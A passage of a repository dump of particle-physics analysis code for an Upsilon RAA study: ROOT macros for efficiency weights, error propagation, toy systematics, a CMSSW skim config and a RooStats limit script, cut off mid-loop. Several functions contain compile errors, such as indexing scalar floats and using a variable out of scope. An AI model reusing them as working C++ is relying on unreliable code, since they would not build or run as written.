== 3 ) num = 0.9070*TMath::Erf((x-0.5316)/1.8221);\n else if (idx == 4 ) num = 0.9148*TMath::Erf((x-0.5456)/1.8124);\n else if (idx == 5 ) num = 0.8999*TMath::Erf((x-0.5368)/1.7840);\n else if (idx == 6 ) num = 0.9028*TMath::Erf((x-0.7388)/1.5306);\n else if (idx == 7 ) num = 0.9112*TMath::Erf((x-0.5761)/1.8778);\n else if (idx == 8 ) num = 0.8828*TMath::Erf((x-0.6303)/1.5635);\n else if (idx == 9 ) num = 0.9021*TMath::Erf((x-0.8599)/1.4212);\n else if (idx == 10 ) num = 0.9214*TMath::Erf((x-0.0992)/2.1977);\n else if (idx == 11 ) num = 0.8966*TMath::Erf((x-0.0000)/2.1930);\n else if (idx == 12 ) num = 0.8840*TMath::Erf((x-0.5171)/1.7189);\n else if (idx == 13 ) num = 0.8872*TMath::Erf((x-0.5657)/1.6991);\n else if (idx == 14 ) num = 0.8801*TMath::Erf((x-0.4565)/1.7340);\n else if (idx == 15 ) num = 0.8986*TMath::Erf((x-0.0001)/2.3079);\n else if (idx == 16 ) num = 0.9161*TMath::Erf((x-0.5990)/1.7086);\n else if (idx == 17 ) num = 0.8810*TMath::Erf((x-0.1226)/2.0724);\n else if (idx == 18 ) num = 0.9073*TMath::Erf((x-0.5643)/1.7015);\n else if (idx == 19 ) num = 0.9056*TMath::Erf((x-0.4883)/1.7268);\n else if (idx == 20 ) num = 0.9011*TMath::Erf((x-0.7915)/1.6093);\n else if (idx == 21 ) num = 0.8770*TMath::Erf((x-0.2307)/1.8953);\n else if (idx == 22 ) num = 0.8914*TMath::Erf((x-0.6992)/1.5914);\n else if (idx == 23 ) num = 0.8560*TMath::Erf((x-0.6063)/1.5601);\n else if (idx == 24 ) num = 0.9262*TMath::Erf((x-0.2751)/2.1548);\n else if (idx == 25 ) num = 0.9307*TMath::Erf((x-0.7603)/1.6270);\n else if (idx == 26 ) num = 0.8949*TMath::Erf((x-0.6696)/1.7413);\n else if (idx == 27 ) num = 0.9239*TMath::Erf((x-0.7273)/1.7403);\n else if (idx == 28 ) num = 0.8983*TMath::Erf((x-0.8582)/1.4675);\n else if (idx == 29 ) num = 0.8970*TMath::Erf((x-0.3959)/1.8485);\n else if (idx == 30 ) num = 0.8809*TMath::Erf((x-0.4183)/1.7454);\n else if (idx == 31 ) num = 0.8817*TMath::Erf((x-0.6713)/1.5019);\n else if (idx == 32 ) num = 0.8976*TMath::Erf((x-0.2735)/1.9515);\n else if (idx == 33 ) num = 0.8952*TMath::Erf((x-0.7057)/1.5066);\n else if (idx == 34 ) num = 0.8842*TMath::Erf((x-0.7611)/1.4477);\n else if (idx == 35 ) num = 0.9058*TMath::Erf((x-0.0001)/2.3016);\n else if (idx == 36 ) num = 0.8841*TMath::Erf((x-0.4137)/1.8044);\n else if (idx == 37 ) num = 0.8802*TMath::Erf((x-0.2550)/1.7980);\n else if (idx == 38 ) num = 0.8932*TMath::Erf((x-0.7425)/1.5000);\n else if (idx == 39 ) num = 0.9204*TMath::Erf((x-0.2807)/2.0567);\n else if (idx == 40 ) num = 0.9197*TMath::Erf((x-0.4595)/1.9504);\n else if (idx == 41 ) num = 0.8961*TMath::Erf((x-0.6696)/1.6281);\n else if (idx == 42 ) num = 0.9087*TMath::Erf((x-0.6564)/1.7282);\n else if (idx == 43 ) num = 0.9029*TMath::Erf((x-0.0140)/2.2072);\n else if (idx == 44 ) num = 0.8831*TMath::Erf((x-0.6211)/1.6572);\n else if (idx == 45 ) num = 0.9050*TMath::Erf((x-0.5887)/1.8157);\n else if (idx == 46 ) num = 0.9094*TMath::Erf((x-0.3107)/2.1052);\n else if (idx == 47 ) num = 0.9037*TMath::Erf((x-0.4793)/1.8075);\n else if (idx == 48 ) num = 0.9198*TMath::Erf((x-0.7007)/1.6440);\n else if (idx == 49 ) num = 0.8651*TMath::Erf((x-0.0000)/2.1206);\n else if (idx == 50 ) num = 0.8829*TMath::Erf((x-0.6340)/1.5785);\n else if (idx == 51 ) num = 0.9117*TMath::Erf((x-0.3544)/1.9652);\n else if (idx == 52 ) num = 0.9085*TMath::Erf((x-0.8290)/1.4986);\n else if (idx == 53 ) num = 0.9339*TMath::Erf((x-0.0001)/2.5367);\n else if (idx == 54 ) num = 0.9055*TMath::Erf((x-0.0051)/2.1052);\n else if (idx == 55 ) num = 0.9139*TMath::Erf((x-0.6377)/1.8184);\n else if (idx == 56 ) num = 0.8956*TMath::Erf((x-0.7133)/1.5832);\n else if (idx == 57 ) num = 0.8944*TMath::Erf((x-0.6918)/1.5760);\n else if (idx == 58 ) num = 0.8740*TMath::Erf((x-0.6102)/1.6201);\n else if (idx == 59 ) num = 0.8934*TMath::Erf((x-0.2343)/2.0419);\n else if (idx == 60 ) num = 0.8862*TMath::Erf((x-0.1511)/2.0487);\n else if (idx == 61 ) num = 0.8825*TMath::Erf((x-0.9751)/1.2993);\n else if (idx == 62 ) num = 0.8925*TMath::Erf((x-0.2182)/2.0271);\n else if (idx == 63 ) num = 0.9230*TMath::Erf((x-0.6998)/1.6171);\n else if (idx == 64 ) num = 0.9294*TMath::Erf((x-0.0001)/2.3928);\n else if (idx == 65 ) num = 0.8908*TMath::Erf((x-0.2356)/1.9359);\n else if (idx == 66 ) num = 0.9198*TMath::Erf((x-0.2721)/1.9908);\n else if (idx == 67 ) num = 0.9297*TMath::Erf((x-0.8119)/1.6569);\n else if (idx == 68 ) num = 0.8875*TMath::Erf((x-0.0197)/2.2234);\n else if (idx == 69 ) num = 0.8853*TMath::Erf((x-0.7150)/1.5560);\n else if (idx == 70 ) num = 0.8926*TMath::Erf((x-0.6122)/1.5496);\n else if (idx == 71 ) num = 0.8866*TMath::Erf((x-0.1591)/2.1265);\n else if (idx == 72 ) num = 0.9078*TMath::Erf((x-0.7423)/1.5587);\n else if (idx == 73 ) num = 0.8853*TMath::Erf((x-0.3719)/1.7744);\n else if (idx == 74 ) num = 0.8848*TMath::Erf((x-0.0002)/2.2106);\n else if (idx == 75 ) num = 0.9000*TMath::Erf((x-0.0000)/2.1305);\n else if (idx == 76 ) num = 0.9025*TMath::Erf((x-0.2675)/2.0987);\n else if (idx == 77 ) num = 0.9209*TMath::Erf((x-0.2320)/2.0596);\n else if (idx == 78 ) num = 0.8915*TMath::Erf((x-0.8565)/1.3909);\n else if (idx == 79 ) num = 0.9107*TMath::Erf((x-0.5860)/1.7424);\n else if (idx == 80 ) num = 0.9137*TMath::Erf((x-0.0004)/2.3112);\n else if (idx == 81 ) num = 0.9028*TMath::Erf((x-0.9218)/1.3760);\n else if (idx == 82 ) num = 0.9411*TMath::Erf((x-0.0002)/2.6224);\n else if (idx == 83 ) num = 0.9021*TMath::Erf((x-0.6618)/1.6607);\n else if (idx == 84 ) num = 0.8834*TMath::Erf((x-0.6852)/1.5732);\n else if (idx == 85 ) num = 0.9159*TMath::Erf((x-0.3801)/2.0638);\n else if (idx == 86 ) num = 0.8949*TMath::Erf((x-0.9764)/1.2627);\n else if (idx == 87 ) num = 0.9155*TMath::Erf((x-0.0003)/2.4445);\n else if (idx == 88 ) num = 0.9227*TMath::Erf((x-0.9742)/1.3795);\n else if (idx == 89 ) num = 0.9004*TMath::Erf((x-0.4428)/1.9254);\n else if (idx == 90 ) num = 0.8901*TMath::Erf((x-0.9824)/1.2106);\n else if (idx == 91 ) num = 0.8849*TMath::Erf((x-0.5116)/1.6491);\n else if (idx == 92 ) num = 0.8991*TMath::Erf((x-0.7910)/1.5912);\n else if (idx == 93 ) num = 0.8842*TMath::Erf((x-0.9408)/1.3832);\n else if (idx == 94 ) num = 0.9000*TMath::Erf((x-0.5123)/1.7608);\n else if (idx == 95 ) num = 0.8953*TMath::Erf((x-0.1440)/2.1545);\n else if (idx == 96 ) num = 0.8901*TMath::Erf((x-0.3508)/1.7106);\n else if (idx == 97 ) num = 0.8954*TMath::Erf((x-0.8025)/1.5071);\n else if (idx == 98 ) num = 0.8822*TMath::Erf((x-0.5702)/1.6965);\n else if (idx == 99 ) num = 0.8738*TMath::Erf((x-0.7460)/1.4603);\n else if (idx == 100 ) num = 0.8709*TMath::Erf((x-0.7599)/1.3440);\n }\n\n // return\n return num/den;\n}\n\n#endif //#ifndef tnp_weight_statonly_h\n" }, { "alpha_fraction": 0.6309523582458496, "alphanum_fraction": 0.6309523582458496, "avg_line_length": 55, "blob_id": "8a248ef03508d367a150247e1479a733d8f63ce1", "content_id": "f92fb65fadfab40a00350a5b2ee6266450f4de74", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 168, "license_type": "no_license", "max_line_length": 127, "num_lines": 3, "path": "/plotting/PropUnc.cpp", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "float PropUnc (Upsilon a, Upsilon b){\n return sqrt( (a.RatioError()/a.Ratio())*(a.RatioError()/a.Ratio()) + (b.RatioError()/b.Ratio())*(b.RatioError()/b.Ratio()) );\n}\n" }, { "alpha_fraction": 0.6142273545265198, "alphanum_fraction": 0.6269073486328125, "avg_line_length": 40.1769905090332, "blob_id": "83978a121297657b0fabcc9968229fbc39352784", "content_id": "45c926c5615d28ac8450cca7220bea47b9b2f360", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4653, "license_type": "no_license", "max_line_length": 212, "num_lines": 113, "path": "/plotting/BinnedRAA.cpp", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "void BinnedRAA (int state, float n_aa[], float n_aae[], float n_pp[], float n_ppe[], float e_aa[], float e_aae[], float e_pp[],float e_ppe[], const int NumberOfBins, float graph_xbins[], float graph_xbins_err[])\n// example: (1, 1s_pbpb, 1s_pbpbe, 1s_pp, 1s_ppe, eff1s_pbpb, eff1s_pbpbe, eff1s_pp, eff1s_ppe, NumberOfBins=5 , pt, pte)\n{\n if (doControlPlots==true){cout << \"hey ! we'll do some control plots\" << endl; \n PlotSignificances(state,1,1,true,false); // pt and rap could have been protected members...\n PlotSignificances(state,1,1,false,true); // pt and rap could have been protected members...\n //cout << \"control plots done!\" << endl;\n }\n float RAA[NumberOfBins]={};\n float RAAe[NumberOfBins]={};\n float RAAs[NumberOfBins]={}; // placeholder for systematics.\n //Upsilon csaa, cspp, raa, raaerr; //these are objects!\n Upsilon raa; \n Upsilon yield_ratio; \n Upsilon efficiency_ratio; \n // \n // equation: raa = N_aa/N_pp * e_pp/e_pbpb * L_pp/(N_MB*TAA)\n //\n for(int ibin=0; ibin<NumberOfBins; ibin++)\n {\n yield_ratio.SetVariables (n_aa[ibin],n_pp[ibin]);\n yield_ratio.SetErrors (n_aae[ibin],n_ppe[ibin]);\n efficiency_ratio.SetVariables (e_pp[ibin],e_aa[ibin]); // this ratio is inverted from the beginning.\n efficiency_ratio.SetErrors (e_ppe[ibin],e_aae[ibin]);\n \n // do the raa = ratio_sig * ratio_efficiency * global scale;\n \n RAA[ibin]= (yield_ratio.Ratio()) * (efficiency_ratio.Ratio()) * (L_pp_invNb/(T_AA_b*N_MB_corr));\n \n // prop. uncertainty = RAA*sqrt((unc.npp/npp)2+Error2+...+ErrorN);\n \n RAAe[ibin] = RAA[ibin]*PropUnc(yield_ratio,efficiency_ratio);\n RAAs[ibin] = RAAe[ibin]*sqrt(2);\n std::cout<<setprecision(3);\n cout << ibin << \" \"<< RAA[ibin] <<\" \\\\pm \"<< RAAe[ibin]<< \" \\\\pm \"<< RAAs[ibin]<< endl;\n }\n // TGraphErrors g; g=(TGraphErrors) ploTGraphErrors(state,NumberOfBins,graph_xbins,RAA,graph_xbins_err,RAAe,true,RAAs,1);\n \n}\n// alternate version , is with n_pp not an array (for npart dependent results)\nvoid BinnedNpartRAA (int state, float n_aa[], float n_aae[], float n_pp, float n_ppe, float e_aa[],float e_aae[], float e_pp, float e_ppe, const int NumberOfBins,float graph_xbins[], float graph_xbins_err[])\n{\n float RAA[NumberOfBins]={};\n float RAAe[NumberOfBins]={};\n float RAAs[NumberOfBins]={}; // placeholder for systematics. \n //Upsilon csaa, cspp, raa, raaerr; //these are objects!\n Upsilon raa;\n Upsilon yield_ratio;\n Upsilon efficiency_ratio;\n //\n // equation: raa = N_aa/N_pp * e_pp/e_pbpb * L_pp/(N_MB*TAA)\n //\n for(int ibin=0; ibin<NumberOfBins; ibin++)\n {\n yield_ratio.SetVariables (n_aa[ibin],n_pp[ibin]);\n yield_ratio.SetErrors (n_aae[ibin],n_ppe[ibin]);\n efficiency_ratio.SetVariables (e_pp[ibin],e_aa[ibin]);\n efficiency_ratio.SetErrors (e_ppe[ibin],e_aae[ibin]);\n\n // do the raa = ratio_sig * ratio_efficiency * global scale;\n\n RAA[ibin] = (yield_ratio.Ratio()) * (efficiency_ratio.Ratio()) * CentLumiCorr(state,ibin);\n\n // prop. uncertainty = RAA*sqrt((unc.npp/npp)2+Error2+...+ErrorN);\n\n RAAe[ibin] = RAA[ibin]*PropUnc(yield_ratio,efficiency_ratio);\n std::cout<<setprecision(3);\n cout << ibin << \" \"<< RAA[ibin] <<\" \\\\pm \"<< RAAe[ibin]<< \" \\\\pm \"<< endl;\n }\n \n}\n\nTGraphErrors* ploTGraphErrors(int iState, const int NumberOfBins, float graph_x[],float graph_y[], float graph_x_err[],float graph_y_err[],bool doSyst, float graph_y_err_syst[],int it){\n // example>> (style=1,5,TransverseMomentum,RAA \n // float x = Object_x.GetObs();\n Float_t mSize=1.;\n Int_t mStyle=24;\n // bool isStyle_1S,isStyle_2S;\n TGraphErrors *tmp = new TGraphErrors(NumberOfBins,graph_x,graph_y,0,graph_y_err);\n if (doSyst){\n TGraphErrors *tmpSyst = new TGraphErrors(NumberOfBins,graph_x,graph_y,graph_x_err,graph_y_err_syst);\n }\n if(!doControlPlots){\n if(iState == 1 ){\n tmp->SetMarkerColor(it); \n if(doSyst){ tmpSyst->SetLineColor(kOrange+1); }\n mStyle = 21;\n }\n else if(iState == 2){\n tmp->SetMarkerColor(kOrange+4);\n tmpSyst->SetLineColor(kOrange+4); \n mStyle= 20;\n }\n else if(iState == 3 || iState == 0){ //3S or pp in general.\n tmp->SetMarkerColor(kAzure+1);\n tmpSyst->SetLineColor(kAzure+1); \n mStyle = 22;\n }\n }\n tmp->SetMarkerSize(mSize*2);\n tmp->SetMarkerStyle(20+it); \n tmp->SetFillStyle(3001);\n tmp->SetMarkerColor(it); \n if(doSyst){ \n tmpSyst->SetFillStyle(0);\n tmpSyst->SetLineWidth(2);\n tmpSyst->SetMarkerSize(0);\n tmpSyst->Draw(\"2\");\n tmp->Draw(\"pe\");\n }\n tmp->Draw(\"pe\");\n return tmp;\n}\n" }, { "alpha_fraction": 0.7092803120613098, "alphanum_fraction": 0.7458964586257935, "avg_line_length": 36.27058792114258, "blob_id": "621f2feacacb29673b23e97b767707497b89350f", "content_id": "132ebb38abd8b7e9ef1c486a83bd397529e68a64", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3168, "license_type": "no_license", "max_line_length": 164, "num_lines": 85, "path": "/skimming/onia2MuMuPAT_pythia1S_crab_cfg.py", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "# for the list of used tags please see:\n# https://twiki.cern.ch/twiki/bin/view/CMS/Onia2MuMuSamples\n\nimport FWCore.ParameterSet.Config as cms\n\n# set up process\nprocess = cms.Process(\"Onia2MuMuPAT\")\n\n# setup 'analysis' options\n#options = VarParsing.VarParsing ('analysis')\n\n# setup any defaults you want\n# root://xrootd.unl.edu\n#options.inputFiles = '/store/himc/HiWinter13/PYTHIA6_Upsilon1SWithFSR_tuneD6T_2TeV76/GEN-SIM-RECO/STARTHI53_V26-v1/20000/04AE8671-B278-E211-94FA-008CFA001B18.root'\n#options.outputFile = 'onia2MuMuPAT_MC_td.root'\n\n#options.maxEvents = -1 # -1 means all events\n\n# get and parse the command line arguments\n#options.parseArguments()\n\nprocess.load('Configuration.StandardSequences.GeometryRecoDB_cff')\nprocess.load(\"Configuration.StandardSequences.Reconstruction_cff\")\nprocess.load(\"Configuration.StandardSequences.MagneticField_cff\")\nprocess.load('Configuration.StandardSequences.FrontierConditions_GlobalTag_cff')\nprocess.GlobalTag.globaltag = 'STARTHI53_V28::All'\n\n# Common offline event selection\nprocess.load(\"HeavyIonsAnalysis.Configuration.collisionEventSelection_cff\")\n\n# pile up rejection\nprocess.load('Appeltel.RpPbAnalysis.PAPileUpVertexFilter_cff')\n\n# Centrality for pPb\nprocess.load('RecoHI.HiCentralityAlgos.HiCentrality_cfi')\n\n# HLT dimuon trigger\nimport HLTrigger.HLTfilters.hltHighLevel_cfi\nprocess.hltOniaHI = HLTrigger.HLTfilters.hltHighLevel_cfi.hltHighLevel.clone()\nprocess.hltOniaHI.HLTPaths = [\"HLT_PAL1DoubleMuOpen_v*\",\n \"HLT_PAL1DoubleMu0_HighQ_v*\",\n \"HLT_PAL2DoubleMu3_v*\",\n \"HLT_PAMu3_v*\",\n \"HLT_PAMu7_v*\",\n \"HLT_PAMu12_v*\"\n ]\nprocess.hltOniaHI.throw = False\nprocess.hltOniaHI.andOr = True\nprocess.hltOniaHI.TriggerResultsTag = cms.InputTag(\"TriggerResults\",\"\",\"HLT\")\n\nfrom HiSkim.HiOnia2MuMu.onia2MuMuPAT_cff import *\nonia2MuMuPAT(process, GlobalTag=process.GlobalTag.globaltag, MC=True, HLT=\"HLT\", Filter=True)\n\nprocess.patMuonSequence = cms.Sequence(\n process.hltOniaHI *\n# process.PAcollisionEventSelection *\n# process.pileupVertexFilterCutGplus * \n process.genMuons *\n process.patMuonsWithTriggerSequence\n )\n\n\n\n#process.onia2MuMuPatTrkTrk.addMuonlessPrimaryVertex = False\nprocess.onia2MuMuPatGlbGlb.addMuonlessPrimaryVertex = False\n#process.onia2MuMuPatTrkTrk.resolvePileUpAmbiguity = False\n\n\n\nprocess.source.duplicateCheckMode = cms.untracked.string('noDuplicateCheck')\nprocess.source.fileNames = cms.untracked.vstring(\n '/store/himc/HiWinter13/PYTHIA6_Upsilon1SWithFSR_tuneD6T_2TeV76/GEN-SIM-RECO/STARTHI53_V28-v1/00000/048C7532-0245-E311-B328-008CFA00879C.root'\n )\n\n# filter on lumisections\n#from HiSkim.HiOnia2MuMu.goodLumiSectionListHI_cfi import *\n#process.source.lumisToProcess = goodLumisToProcess\n\nprocess.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(-1) )\nprocess.outOnia2MuMu.fileName = cms.untracked.string( 'onia2MuMuPAT_MC_pythia1S.root' )\n\nprocess.e = cms.EndPath(process.outOnia2MuMu)\n\nprocess.schedule = cms.Schedule(process.Onia2MuMuPAT,\n process.e)\n" }, { "alpha_fraction": 0.4932935833930969, "alphanum_fraction": 0.5838301181793213, "avg_line_length": 35.76712417602539, "blob_id": "edac7132c539374989818127e2afa2950c8f7aae", "content_id": "fe9bee1e128b669a00e984298501d933a972e0ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2684, "license_type": "no_license", "max_line_length": 125, "num_lines": 73, "path": "/acceptance_efficiency/toy_summary.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#include \"tnp_weight.h\"\n\ndouble denominator_pbpb(double x, double eta);\ndouble denominator_pp(double x, double eta);\n\nvoid toy_summary(int ieta, bool ispbpb, double nsigma=-1) {\n // ieta = 0 (0-0.9), 1 (0.9-1.6), 2 (1.6-2.1), 3 (2.1-2.4)\n // ispbpb = true for PbPb, false for pp\n // nsigma should typically be +1 or -1\n\n const int npoints = 100;\n double eta;\n double ptmin = 0;\n if (ieta==0) {ptmin = 3.4; eta=0.3;}\n else if (ieta==1) {ptmin = 2.1; eta=1.2;}\n else if (ieta==2) {ptmin = 1.7; eta=1.9;}\n else {ptmin = 1.5; eta=2.3;}\n double ptmax = 30;\n double ptstep = (ptmax-ptmin)/npoints;\n\n double* xpoints = new double[100];\n double* ypoints = new double[100];\n\n for (int i=0; i<100; i++) {\n xpoints[i] = ptmin + i*ptstep;\n\n double sumy=0, sumy2=0;\n double den= ispbpb ? denominator_pbpb(xpoints[i],eta) : denominator_pp(xpoints[i],eta);\n double nominal = den*(ispbpb ? tnp_weight_muidtrg_pbpb(xpoints[i],eta,0) : tnp_weight_muidtrg_pp(xpoints[i],eta,0));\n for (int j=0; j<100; j++) {\n double num = den*(ispbpb ? tnp_weight_muidtrg_pbpb(xpoints[i],eta,j+1) : tnp_weight_muidtrg_pp(xpoints[i],eta,j+1));\n sumy += num;\n sumy2 += num*num;\n }\n double mean = sumy/100.;\n double rms = sqrt(sumy2*100. - sumy*sumy)/100.;\n // ypoints[i] = nominal + rms;\n ypoints[i] = nominal + nsigma * rms;\n\n if (i<10) cout << xpoints[i] << \" \" << ypoints[i] << \" \" << sumy << \" \" << sumy2 << \" \" << mean << \" \" << rms << endl;\n }\n\n TGraph *tg = new TGraph(npoints,xpoints,ypoints);\n TF1 *tf = new TF1(\"tf\",\"[0]*TMath::Erf((x-[1])/[2])\",ptmin,ptmax);\n tf->SetParameters(ypoints[npoints-1],0.1,1.0);\n tf->SetParLimits(0,0,1);\n tf->SetParLimits(1,0.,10.);\n tf->SetParLimits(2,0,10.);\n tg->Fit(tf);\n tg->Draw(\"AP\");\n\n cout << Form(\"%.4f*TMath::Erf((x-%.4f)/%.4f)\",tf->GetParameter(0),tf->GetParameter(1),tf->GetParameter(2)) << endl;\n}\n\ndouble denominator_pbpb(double x, double eta) {\n // denominator (from MC)\n double den=1;\n if (fabs(eta)<0.9) den = 0.9724*TMath::Erf((x-0.4114)/3.3775);\n else if (fabs(eta)<1.6) den = 0.9502*TMath::Erf((x-1.3857)/2.0757);\n else if (fabs(eta)<2.1) den = 0.8971*TMath::Erf((x-1.0984)/2.3510);\n else den = 0.7763*TMath::Erf((x-0.8419)/1.6742);\n return den;\n}\n\ndouble denominator_pp(double x, double eta) {\n // denominator (from MC)\n double den=1;\n if (fabs(eta)<0.9) den = 0.9547*TMath::Erf((x-1.7776)/2.0497);\n else if (fabs(eta)<1.6) den = 0.9150*TMath::Erf((x-1.8502)/1.6651);\n else if (fabs(eta)<2.1) den = 0.8721*TMath::Erf((x-1.1449)/2.5504);\n else den = 0.6137*TMath::Erf((x-1.0202)/1.0729);\n return den;\n}\n" }, { "alpha_fraction": 0.6664416193962097, "alphanum_fraction": 0.6725185513496399, "avg_line_length": 35.121952056884766, "blob_id": "c10a5b499b3fecfe985f8a436cc9b72e9773db44", "content_id": "4e177928653e7d08507d6d6fed310292e968d2dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1481, "license_type": "no_license", "max_line_length": 201, "num_lines": 41, "path": "/plotting/raaFunctions.h", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "//#include <iostream.h>\n#include \"raaFunctions.h\"\n#include \"data_signif.h\"\n\nclass Upsilon {\n float Num, Denom;\n float Num_err, Denom_err, err;\n float ratio, ratio_err;\n public:\n void SetVariables (float,float);\n void SetErrors (float,float);\n float Ratio () {ratio=Num/Denom; return ratio;}\n float RatioError()\n {\n err = (Num_err*Num_err)/(Num*Num) + (Denom_err*Denom_err)/(Denom*Denom);\n // + 2.*(x.getError()*y.getError())/(x.getVal()*y.getVal())*correlation; // can be needed in case of correlations.\n ratio_err = fabs(ratio)*sqrt(err);\n return ratio_err;\n }\n protected:\n \n {bool pt=true;\n bool rap=true;}\n};\nvoid Upsilon::SetVariables (float x, float y) {\n Num= x;\n Denom = y;\n}\n\nvoid Upsilon::SetErrors(float x, float y) {\n Num_err = x;\n Denom_err= y ;\n}\n\nvoid InitCanvases(TCanvas& c, bool pt, bool rap);\nfloat PropUnc(Upsilon a,Upsilon b);\nvoid BinnedRAA (int s, float x[], float xe[], float y[], float ye[], float x_eff[], float x_effe[], float y_eff[], float y_effe[], const int NumberOfBins, float graph_xbins[], float graph_xbins_err[]);\nvoid BinnedNpartRAA (int s, float x[], float xe[], float y, float ye, float x_eff[], float x_effe[], float y_eff, float y_effe, const int NumberOfBins, float graph_xbins[], float graph_xbins_err[]);\nvoid MinBiasRAA(float y1, float y1e, float y2, float y2e, float eff1, float eff1e, float eff2, float eff2e);\nfloat CentLumiCorr(int s, int b);\nvoid plotSignificances(int s,int pp,int pbpb,bool ,bool);\n" }, { "alpha_fraction": 0.554058313369751, "alphanum_fraction": 0.5681604743003845, "avg_line_length": 38.72199249267578, "blob_id": "34e6c2b04a3f692893560b80b3cee073098c2b97", "content_id": "24384c3d58209dceeb7405537577d80406916c5e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 9573, "license_type": "no_license", "max_line_length": 165, "num_lines": 241, "path": "/upperlimit/upperlimit/FCscan/runLimit_Raa3S_Workspace.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#include <algorithm>\n\nvoid runLimit_Raa3S_Workspace(const char *poiname=\"raa3\", const char *pdfname=\"joint\", const char *wsname=\"wcombo\");\n\n#include \"StandardHypoTestInvDemo.C\"\n#include \"TwoSidedFrequentistUpperLimitWithBands.C\"\n\ndouble CI = 0.95;\n\nvoid runLimit_Raa3S_Workspace(const char *poiname, const char *pdfname, const char *wsname)\n{\n RooRealVar *theVar; RooDataSet *data; RooAbsPdf *pdf;\n // Open input file with workspace (generated by rf14_wspacewrite)\n TFile *f = new TFile(\"TRIAL.root\") ;\n\n // Retrieve workspace from file\n RooWorkspace* ws = (RooWorkspace*) f->Get(wsname);\n RooStats::ModelConfig *sbHypo = (RooStats::ModelConfig*) ws->obj(\"SbHypo\");\n RooStats::ModelConfig *bHypo = (RooStats::ModelConfig*) ws->obj(\"BHypo\");\n cout << \"observables: \" << sbHypo->GetObservables()->getSize() << endl;\n theVar = ws->var(poiname);\n // if (!theVar) theVar = ws->function(poiname);\n pdf = ws->pdf(pdfname);\n data =(RooDataSet *) ws->data(\"data\");\n\n // Print structure of composite p.d.f.\n pdf->Print(\"t\") ;\n\n\n // get a first estimate of where to look\n\n // ProfileLikelihoodCalculator pl(*data,*pdf,*theVar);\n // cout << data << \" \" << pdf << \" \" << theVar << endl;\n // pl.SetConfidenceLevel(CI); \n // int ci = 100*CI;\n // LikelihoodInterval* interval = pl.GetInterval();\n // LikelihoodIntervalPlot plot(interval);\n // TCanvas c4; c4.cd(); \n // plot.SetRange(0.,0.,0.05,3.);\n // // plot.Draw();\n // TLatex latexCI;\n // latexCI.SetNDC();\n // latexCI.SetTextSize(0.035);\n // latexCI.DrawLatex(0.5,1.-0.05*2,Form(\"%s %d % C.I.\",poiname,ci));\n // latexCI.DrawLatex(0.5,1.-0.05*3,Form(\"Upper limit: %f\",interval->UpperLimit(*theVar)));\n // latexCI.DrawLatex(0.5,1.-0.05*4,Form(\"Lower limit: %f\",interval->LowerLimit(*theVar)));\n // TString intrvlName = theVar->GetTitle();\n // // print out the iterval on the Parameter of Interest\n // cout <<endl<< CI <<\"\\% interval on \" <<theVar->GetName()<<\" is : [\"<<\n // interval->LowerLimit(*theVar) << \", \"<<\n // interval->UpperLimit(*theVar) << \"] \"<<endl;\n // pair<double, double> CnfdncIntrvl;\n // CnfdncIntrvl.first = interval->LowerLimit(*theVar);\n // CnfdncIntrvl.second = interval->UpperLimit(*theVar);\n // c4.SaveAs(\"ULtest.pdf\");\n\n // now let's move to the hypo test inverter\n /////////////////////////////////////////////////////////////\n // Now get the POI for convenience\n // you may want to adjust the range of your POI\n ////////////////////////////////////////////////////////////\n RooRealVar* firstPOI = (RooRealVar*) sbHypo->GetParametersOfInterest()->first();\n double muhat_data = theVar->getVal();\n double poimin = 0.;\n double poimax = 0.5;\n cout << \"Will scan between \" << poimin << \" and \" << poimax << endl;\n firstPOI->setMin(0.);\n firstPOI->setMax(0.5);\n\n // actually run the hypo test inverter\n\n // define calc type and test stat type\n // type = 0 Freq calculator \n // type = 1 Hybrid calculator\n // type = 2 Asymptotic calculator \n // type = 3 Asymptotic calculator using nominal Asimov data sets (not using fitted parameter values but nominal ones)\n //\n // testStatType = 0 LEP\n // = 1 Tevatron \n // = 2 Profile Likelihood two sided\n // = 3 Profile Likelihood one sided (i.e. = 0 if mu < mu_hat)\n // = 4 Profile Likelihood signed ( pll = -pll if mu < mu_hat) \n // = 5 Max Likelihood Estimate as test statistic\n // = 6 Number of observed event as test statistic\n //\n\n // 0,3,true for frequentist CLs; 2,3,true for asymptotic CLs; 0,2,false for FC\n int calculatorType = 0;\n int testStatType = 2;\n bool useCLs = false;\n // root> StandardHypoTestInvDemo(\"fileName\",\"workspace name\",\"S+B modelconfig name\",\"B model name\",\"data set name\",calculator type, test statistic type, use CLS, \n // number of points, xmin, xmax, number of toys, use number counting)\n // pair<double,double> lims_data = StandardHypoTestInvDemo(f->GetName(),\n // ws,\n // sbHypo,\n // bHypo,\n // \"data\", \n // calculatorType,\n // testStatType, \n // useCLs, \n // 20, \n // poimin, \n // poimax, \n // 1000,\n // false,\n // 0);\n pair<double,double> lims_data = TwoSidedFrequentistUpperLimitWithBands(f->GetName(),\n ws,\n sbHypo->GetName(),\n \"data\", false);\n cout << lims_data.first << \" \" << lims_data.second << endl;\n\n // let's try on pseudo-data\n \n const int npoints = 10; \n double thepoimax = 0.2;\n double lowlim[npoints];\n double upplim[npoints];\n double lowlim_ls[npoints];\n double upplim_ls[npoints];\n double mu[npoints];\n double muhat[npoints];\n RooRealVar * var = ws->var(\"invariantMass\");\n RooRealVar * var2 = ws->var(\"muPlusPt\");\n RooCategory *dataCat = ws->cat(\"dataCat\");\n // RooDataSet *protoData = (RooDataSet*)ws->data(\"data\");\n \n for (int i=0; i<npoints; i++)\n {\n // firstPOI->setMin(-1);\n mu[i] = i*(thepoimax/npoints);\n firstPOI->setVal(mu[i]);\n // 